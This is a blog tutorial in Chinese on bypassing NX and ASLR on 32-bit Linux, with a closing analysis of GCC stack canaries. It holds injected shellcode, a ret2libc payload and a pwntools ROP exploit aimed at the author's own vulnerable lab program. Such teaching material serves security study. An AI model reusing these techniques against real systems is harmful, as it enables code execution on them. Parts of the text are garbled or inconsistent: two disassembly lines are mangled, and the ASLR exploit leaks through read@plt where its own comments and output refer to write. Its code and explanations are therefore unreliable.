MyBlog

Linux_x86下NX与ASLR绕过技术

last modified: 2014-11-21 23:21

本文介绍Linux_x86下NX与ASLR绕过技术,并对GCC的Stack Canaries保护技术进行原理分析。

本文使用存在漏洞代码如下:

/* filename : sof.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
void vulnerable_function() 
{
    char buf[128] = {0x00};
    read(STDIN_FILENO, buf, 256);
}
  
int main(int argc, char** argv) 
{
    vulnerable_function();
    return 0;
}

一、关闭NX,ASLR,Stack Canaries

root@ubuntu :~# echo 0 >/proc/sys/kernel/randomize_va_space
ez@ubuntu :~/workdir/rop$ gcc -fno-stack-protector -z execstack -o sof sof.c

接下来,1.找到溢出位置,2.构造shellcode

1.找到溢出位置

ez@ubuntu :~/workdir/rop$ ulimit -c 8096

ez@ubuntu :~/workdir/rop$ ./sof
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Segmentation fault (core dumped)

调试core文件:

ez@ubuntu :~/workdir/rop$ gdb ./sof core 
Core was generated by `./sof'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x37654136 in ?? ()
(gdb)
ez@ubuntu:~/workdir/rop/tools$ python pattern.py offset 0x37654136
hex pattern decoded as: 6Ae7
140

通过调试发现,溢出发生在140偏移处。下面验证我们的结论:

ez@ubuntu:~/workdir/rop$ gdb ./sof

(gdb) r
Starting program: /home/ez/workdir/rop/sof 
CCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDDD

Program received signal SIGSEGV, Segmentation fault.
0x44444444 in ?? ()
(gdb) x/s $esp-144
0xbffff060: "CCCC", 'A' <repeats 136 times>, "DDDD\n3\374\267\020\361\377\277"
(gdb) x/s $esp-4
0xbffff0ec: "DDDD\n3\374\267\020\361\377\277"
(gdb)

画一张溢出时栈布局图,以便理解:

stack1

2.构造shellcode

我们将shellcode放到上图CCCC(0xbffff080)处,并将DDDD设置为shellcode地址:

(注意:gdb会改变栈布局影响shellcode地址,CCCC地址应通过调试coredump获得)

#!/usr/bin/env python
from struct import pack 
 
ret = 0xbffff080
#mkdir "HACK" & chmod 777 & exit()
shellcode = "\x31\xc0\x50\x68\x48\x41\x43\x4b\xb0\x27\x89\xe3\x66\x41\xcd\x80\xb0\x0f\x66\xb9\xff\x01\xcd\x80\x31\xc0\x40\xcd\x80"
ret_fmt = pack("<I", ret)
payload = shellcode + 'A' * (140 - len(shellcode)) + ret_fmt
fp = open("payload", "wb")
fp.write(payload)
fp.close()
ez@ubuntu:~/workdir/rop$ ./sof < payload

成功执行后,在当前路径下创建权限为777的”HACK”目录。

二、Bypass NX

ez@ubuntu:~/workdir/rop$ gcc -fno-stack-protector -o sof2 sof.c

开启NX后,栈上shellcode变为不可执行。

复用上述payload,发现利用失败:

ez@ubuntu:~/workdir/rop$ ./sof2 < payload 
Segmentation fault (core dumped)

查看两种编译选项下Stack区别,发现开启NX保护的栈变得不可执行(rw-p):

ez@ubuntu:~/workdir/rop$ ./sof & 
[1] 2089 
ez@ubuntu:~/workdir/rop$ ./sof2 & 
[2] 2090 
ez@ubuntu:~/workdir/rop$ cat /proc/2089/maps 
bffdf000-c0000000 rwxp 00000000 00:00 0          [stack] 
ez@ubuntu:~/workdir/rop$ cat /proc/2090/maps 
bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]

接下来分析绕过方法,并演示”puts(“/bin/sh”)“功能的shellcode

首先计算puts符号及”/bin/sh”字符串在目标程序中的地址:

(gdb) b main 
Breakpoint 1 at 0x804847d 
(gdb) r 
Starting program: /home/ez/workdir/rop/sof2 
Breakpoint 1, 0x0804847d in main () 
(gdb) print puts 
$1 = {} 0xb7e7e190 <_IO_puts> 
(gdb) 
(gdb) print __libc_start_main 
$2 = {int (int (*)(int, char **, char **), int, char **, int (*)(int, char **, char **), void (*)(void), void (*)(void), void *)} 0xb7e31990 <__libc_start_main> 
(gdb) 
(gdb) find 0xb7e31990, +2000000, "/bin/sh" 
0xb7f795a4 
warning: Unable to access 16000 bytes of target memory at 0xb7fc392c, halting search. 
1 pattern found. 
(gdb) 
(gdb) print exit 
$1 = {} 0xb7e4b400 <__GI_exit> 
(gdb)

下面编写exp:

#!/usr/bin/env python
from struct import pack
ret = pack("<I", 0xb7e4b400) #exit() addr
putsaddr = pack("<I", 0xb7e7e190)
binshaddr = pack("<I", 0xb7f795a4)
payload =  'A'*140 + putsaddr + ret + binshaddr
fp = open("payload_bypassdep", "wb")
fp.write(payload)
fp.close()

解释一下payload的构造,首先使用’A’ spay整个vulnerable_function函数的栈空间,接着覆盖返回地址为puts函数地址。栈上ret是puts返回时将执行的函数地址,这里选择exit函数。binshaddr是puts的第一个参数地址。

函数调用时,首先在栈中压入参数,接着压入函数返回地址,因此这样构造Payload。

ez@ubuntu:~/workdir/rop$ ./sof2 < payload_bypassdep 
/bin/sh 
ez@ubuntu:~/workdir/rop$

成功执行。在shell中打印”/bin/sh”字符串。上面的方法,称为Ret2Libc技术。

Bypass NX核心思想是,复用代码片段;栈上只提供函数参数,或地址。

三、Bypass ASLR

下面介绍比Ret2Libc更通用的技术,ROP。ROP更加通用的原因是,它复用的不仅是libc.so.6中的代码片段。

首先开启系统ASLR功能:

root@ubuntu :~# echo 2 >/proc/sys/kernel/randomize_va_space

开启ASLR后,动态库在进程中加载位置变的随机化,注意下面libc.so.6库每次加载位置的变化:

ez@ubuntu:~/workdir/rop$ ldd sof2 
linux-gate.so.1 =>  (0xb77de000) 
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7618000) 
/lib/ld-linux.so.2 (0xb77df000) 
ez@ubuntu:~/workdir/rop$ ldd sof2 
linux-gate.so.1 =>  (0xb77cf000) 
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7609000) 
/lib/ld-linux.so.2 (0xb77d0000) 

rop

我们运行两个进程,验证一下:

ez@ubuntu:~/workdir/rop$ ps -ef |grep sof2 |grep -v "grep" 
ez        2547 10044  0 08:50 pts/0    00:00:00 ./sof2 
ez        2548 10044  0 08:51 pts/0    00:00:00 ./sof2 
ez@ubuntu:~/workdir/rop$ 
ez@ubuntu:~/workdir/rop$ cat /proc/2547/maps 
08048000-08049000 r-xp 00000000 08:01 567388     /home/ez/workdir/rop/sof2 
08049000-0804a000 r--p 00000000 08:01 567388     /home/ez/workdir/rop/sof2 
0804a000-0804b000 rw-p 00001000 08:01 567388     /home/ez/workdir/rop/sof2 
b75db000-b75dc000 rw-p 00000000 00:00 0 
b75dc000-b7785000 r-xp 00000000 08:01 656375     /lib/i386-linux-gnu/libc-2.19.so 
b7785000-b7787000 r--p 001a9000 08:01 656375     /lib/i386-linux-gnu/libc-2.19.so 
b7787000-b7788000 rw-p 001ab000 08:01 656375     /lib/i386-linux-gnu/libc-2.19.so 
b7788000-b778b000 rw-p 00000000 00:00 0 
b779f000-b77a1000 rw-p 00000000 00:00 0 
b77a1000-b77a2000 r-xp 00000000 00:00 0          [vdso] 
b77a2000-b77c2000 r-xp 00000000 08:01 656351     /lib/i386-linux-gnu/ld-2.19.so 
b77c2000-b77c3000 r--p 0001f000 08:01 656351     /lib/i386-linux-gnu/ld-2.19.so 
b77c3000-b77c4000 rw-p 00020000 08:01 656351     /lib/i386-linux-gnu/ld-2.19.so 
bfc5a000-bfc7b000 rw-p 00000000 00:00 0          [stack] 

ez@ubuntu:~/workdir/rop$ cat /proc/2548/maps 
08048000-08049000 r-xp 00000000 08:01 567388     /home/ez/workdir/rop/sof2 
08049000-0804a000 r--p 00000000 08:01 567388     /home/ez/workdir/rop/sof2 
0804a000-0804b000 rw-p 00001000 08:01 567388     /home/ez/workdir/rop/sof2 
b7604000-b7605000 rw-p 00000000 00:00 0 
b7605000-b77ae000 r-xp 00000000 08:01 656375     /lib/i386-linux-gnu/libc-2.19.so 
b77ae000-b77b0000 r--p 001a9000 08:01 656375     /lib/i386-linux-gnu/libc-2.19.so 
b77b0000-b77b1000 rw-p 001ab000 08:01 656375     /lib/i386-linux-gnu/libc-2.19.so 
b77b1000-b77b4000 rw-p 00000000 00:00 0 
b77c8000-b77ca000 rw-p 00000000 00:00 0 
b77ca000-b77cb000 r-xp 00000000 00:00 0          [vdso] 
b77cb000-b77eb000 r-xp 00000000 08:01 656351     /lib/i386-linux-gnu/ld-2.19.so 
b77eb000-b77ec000 r--p 0001f000 08:01 656351     /lib/i386-linux-gnu/ld-2.19.so 
b77ec000-b77ed000 rw-p 00020000 08:01 656351     /lib/i386-linux-gnu/ld-2.19.so 
bf8cb000-bf8ec000 rw-p 00000000 00:00 0          [stack] 

会看到,栈、动态库的加载位置是变化的,而程序本身位置却无变化。所以可以将程序做为参照物,使用相对偏移计算库中元素位置。

接下来分析一下ELF的PLT段,我们发现read函数和write函数是在程序本身和动态库中共有的,可以选做参照物:

ez@ubuntu:~/workdir/rop$ objdump -d -j .plt sof2

sof2:     file format elf32-i386


Disassembly of section .plt:

08048300 <read@plt-0x10>:
 8048300: ff 35 04 a0 04 08     pushl  0x804a004
 8048306: ff 25 08 a0 04 08     jmp    *0x804a008
 804830c: 00 00                 add    %al,(%eax)
 ...

08048310 <read@plt>:
 8048310: ff 25 0c a0 04 08     jmp    *0x804a00c
 8048316: 68 00 00 00 00        push   $0x0
 804831b: e9 e0 ff ff ff        jmp    8048300 <_init+0x30>

08048320 <__gmon_start__@plt>:
 8048320: ff 25 10 a0 04 08     jmp    *0x804a010
 8048326: 68 08 00 00 00        push   $0x8
 804832b: e9 d0 ff ff ff        jmp    8048300 <_init+0x30>

08048330 <__libc_start_main@plt>:
 8048330: ff 25 14 a0 04 08     jmp    *0x804a014
 8048336: 68 10 00 00 00        push   $0x10
 804833b: e9 c0 ff ff ff        jmp    8048300 <_init+0x30>

08048340 <write@plt>:
 8048340: ff 25 18 a0 04 08     jmp    *0x804a018
 8048346: 68 18 00 00 00        push   $0x18
 804834b: e9 b0 ff ff ff        jmp    8048300 <_init+0x30>

利用这种方法,实现puts(“/bin/sh”)这样一个简单功能,因为puts符号和”/bin/sh”字符串都可以在glibc库中找到。

首先构造这样一个payload:

'A'*140 + plt_read + vulfun_addr + 2 + got_read + 4

使用read@plt地址覆盖返回地址,read()的参数分别设置stdout,buffer,4bytes。read()执行完后再次执行漏洞代码所以栈上设置了vulnerable_function()函数地址。

现在read@got里已经是库中read()函数的真实加载地址。分别通过偏移计算puts地址puts_addr,”/bin/sh”字串地址binsh_addr,exit地址exit_addr。

构造payload再次输入:

'A'*140  + puts_addr + exit_addr + binsh_addr

演示一处相对偏移地址计算:

(gdb) p read
$1 = {<text variable, no debug info>} 0x800db6f0 <read>
(gdb) p puts
$2 = {<text variable, no debug info>} 0x80066190 <puts>

(gdb) p/x 0x800db6f0-0x80066190
$3 = 0x75560

上面通过GDB演示2次交互过程,第一段payload执行完后,puts地址等当然可以在GDB中直接打印得到。通过pwntools编写的exp可以免去人的交互:

#!/usr/bin/env python
from pwn import *
  
libc = ELF('libc.so.6')
elf = ELF('sof2')
  
p = remote('127.0.0.1', 10888)
  
plt_read = elf.symbols['read'] #plt@read
got_read = elf.got['read'] #got@read
vulfun_addr = 0x80484fb  #vulnerable_function地址
'''
第一次执行后,got中read计算得到真实加载地址,p32(2) +p32(got_read) + p32(4)为read参数;
read执行完后接着再执行一次vulnerable_function函数
'''
payload1 = 'A'*140 + p32(plt_read) + p32(vulfun_addr) + p32(1) +p32(got_read) + p32(4)
  
print "\n###sending payload1 ...###"
p.send(payload1)
  
print "\n###receving read() addr...###"
read_addr = u32(p.recv(4)) #got@read真实地址
print "\n###calculating puts() addr and \"/bin/sh\" addr...###"
# 计算puts地址
puts_addr = read_addr - (libc.symbols['read'] - libc.symbols['puts'])
# 计算"/bin/sh"字符串地址
binsh_addr = read_addr - (libc.symbols['read'] - next(libc.search('/bin/sh')))
  
payload2 = 'A'*140  + p32(puts_addr) + p32(vulfun_addr) + p32(binsh_addr)
  
print "\n###sending payload2 ...###"
p.send(payload2)

运行sof2,绑定到10888端口:

socat TCP4-LISTEN:10888,fork EXEC:./sof2

执行exp:

ez@ubuntu:~/workdir/rop$ python bypass_aslr.py 
[+] Opening connection to 127.0.0.1 on port 10888: Done 
###sending payload1 ...### 
###receving write() addr...### 
###calculating puts() addr and "/bin/sh" addr...### 
###sending payload2 ...### 
[*] /bin/sh 
[*] Closed connection to 127.0.0.1 port 10888

四、Stack Canaries

首先看一下Stack Canaries演进历史:

Stack Guard 是第一个使用 Canaries 探测的堆栈保护实现,它于 1997 年作为 GCC 的一个扩展发布。最初版本的 Stack Guard 使用 0x00000000 作为 canary word。尽管很多人建议把 Stack Guard 纳入 GCC,作为 GCC 的一部分来提供堆栈保护。但实际上,GCC 3.x 没有实现任何的堆栈保护。

GCC4.1开始,引入了Stack-smashing Protection(SSP,又称 ProPolice),它实现了两个功能:

  1. 栈中插入Canaries,实现栈保护
  2. 变量重排机制,局部变量中的数组放到栈上高地址位置,其它类型变量放到栈上低地址位置,这使得通过溢出覆盖其它变量变得更加困难

Canaries值的生成,一般有几种方法:

  1. Terminator canaries

    • 由于绝大多数的溢出漏洞都是由那些不做数组越界检查的 C 字符串处理函数引起的,而这些字符串都是以 NULL 作为终结字符的。选择 NULL, CR, LF 这样的字符作为 canary word 就成了很自然的事情。例如,若 canary word 为 0x000aff0d,为了使溢出不被检测到,攻击者需要在溢出字符串中包含 0x000aff0d 并精确计算 canaries 的位置,使 canaries 看上去没有被改变。然而,0x000aff0d 中的 0x00 会使 strcpy() 结束复制从而防止返回地址被覆盖。而 0x0a 会使 gets() 结束读取。插入的 terminator canaries 给攻击者制造了很大的麻烦。
  2. Random canaries

    • 这种 canaries 是随机产生的。并且这样的随机数通常不能被攻击者读取。这种随机数在程序初始化时产生,然后保存在一个未被隐射到虚拟地址空间的内存页中。这样当攻击者试图通过指针访问保存随机数的内存时就会引发 segment fault。但是由于这个随机数的副本最终会作为 canary word 被保存在函数栈中,攻击者仍有可能通过函数栈获得 canary word 的值。
  3. Random XOR canaries

    • 这种 canaries 是由一个随机数和函数栈中的所有控制信息、返回地址通过异或运算得到。这样,函数栈中的 canaries 或者任何控制信息、返回地址被修改就都能被检测到了。

一张图帮助理解:

canaries

下面通过调试,探索一下GCC中Canaries的具体实现。依然是使用Ubuntu x86环境,gcc version 4.9.2。

使用的程序代码如下:

void func()
{
     int i;
     char buffer[64];
     i = 1;
     buffer[0] = 'a';
}
 
int main() 
{
     func();
     return 0;
}

分别编译开启栈保护和去除栈保护的程序:

ez@ubuntu:~/workdir/Canaries$ gcc -fstack-protector -o demo_sp demo.c
ez@ubuntu:~/workdir/Canaries$ gcc -fno-stack-protector -o demo_nosp demo.c

分别展示func函数的反汇编代码。

无栈保护代码:

(gdb) disass func 
Dump of assembler code for function func:
   0x080483eb <+0>: push   %ebp
   0x080483ec <+1>: mov    %esp,%ebp
   0x080483ee <+3>: sub    0𝑥50,0x1,-0x4(%ebp)
   0x080483f8 <+13>: movb   $0x61,-0x44(%ebp)
   0x080483fc <+17>: leave  
   0x080483fd <+18>: ret    
End of assembler dump.
(gdb)

观察到,使用-fno-stack-protector选项编译的程序,栈上没有任何保护措施。

开启栈保护代码:

(gdb) disass func
Dump of assembler code for function func:
   0x0804843b <+0>: push   %ebp
   0x0804843c <+1>: mov    %esp,%ebp
   0x0804843e <+3>: sub    0𝑥58,0x1,-0x50(%ebp)
   0x08048453 <+24>: movb   $0x61,-0x4c(%ebp)
   0x08048457 <+28>: mov    -0xc(%ebp),%eax
   0x0804845a <+31>: xor    %gs:0x14,%eax    #函数返回前,检查Canaries值
   0x08048461 <+38>: je     0x8048468 <func+45>    #若未改变,跳到+45处正常返回
   0x08048463 <+40>: call   0x8048310 <__stack_chk_fail@plt>    #若发生栈溢出,执行__stack_chk_fail函数
   0x08048468 <+45>: leave  
   0x08048469 <+46>: ret    
End of assembler dump.
(gdb)

其中,从gs寄存器中读取的值,每次函数调用都是随机的,我们使用GDB调试验证之:

(gdb) b *0x08048447
Breakpoint 4 at 0x8048447
(gdb) r
Starting program: /home/ez/workdir/Canaries/demo_sp

Breakpoint 4, 0x08048447 in func ()
(gdb) i r eax
eax            0xa3850c00 -1551561728
(gdb) r
Starting program: /home/ez/workdir/Canaries/demo_sp

Breakpoint 4, 0x08048447 in func ()
(gdb) i r eax
eax            0xcc46de00 -867770880

通过跟踪__stack_chk_fail函数可以发现,它的实现比较复杂。大体流程是,首先调用__GI___fortify_fail函数,__GI___fortify_fail又调用__libc_message函数,__libc_message的最后调用backtrace_and_maps和__GI_abort函数,产生SIGABRT信号,并通过__GI___libc_secure_getenv根据系统环境变量决定是否产生coredump文件,__GI_abort执行到最后调用_exit,程序退出。

关于Canary名称的由来,我搜到一则有趣的小故事,矿井中的金丝雀

五、总结

  1. 所有具有任意代码执行能力的exp,均要绕过上述防护机制,本文只是拿缓冲区溢出举例,方法是通用的;
  2. 漏洞利用的关键是控制IP寄存器,但并不一定要直接覆盖,内核中大量的Ops结构,虚函数表,异常处理函数,GOT等都是很好的目标;